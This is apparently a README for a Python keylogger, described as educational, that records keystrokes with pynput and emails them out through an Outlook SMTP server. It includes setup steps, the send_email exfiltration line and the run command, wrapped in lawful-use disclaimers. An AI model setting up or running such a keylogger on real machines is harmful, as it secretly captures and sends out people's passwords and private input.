This project provides an educational example of a keylogger developed using the Python programming language. The keylogger is designed as a simple demonstration for learning purposes. It records keyboard inputs and sends them via email at regular intervals. Please note that this code should only be used responsibly and for educational purposes.
This keylogger demonstrates how a basic keylogger can be implemented using the pynput library in Python. It captures keyboard input and saves it to a log. The logged data is then sent via email using the smtplib
library.
- Captures keyboard inputs and records them in a log.
- Periodically sends the collected log via email.
- Minimal and educational codebase.
- Clone the repository to your local machine.
- Make sure you have Python installed.
- Install the required libraries using the following command:
pip install pynput
- Open the
keylogger.py
file in a text editor. - Important: Modify the
send_email
function parameters to use your own email and password. Replace the following line with your information:
send_email("[email protected]","your_password",log.encode('utf-8'))
Note: Remember to change "email_server = smtplib.SMTP("smtp-mail.outlook.com", 587)" to use another mail service.
- Run the script by executing the following command:
python3 key_logger.py
The keylogger will start capturing keyboard inputs and periodically send logs to the provided email.
Note: Use this code responsibly and only on your own devices or with explicit permission. Unauthorized use of keyloggers is against the law and unethical.
- Python 3.x
- pynput library
Install the required library using the following command:
pip install pynput
This keylogger example is intended for educational and learning purposes only. It should not be used for any malicious or unauthorized activities.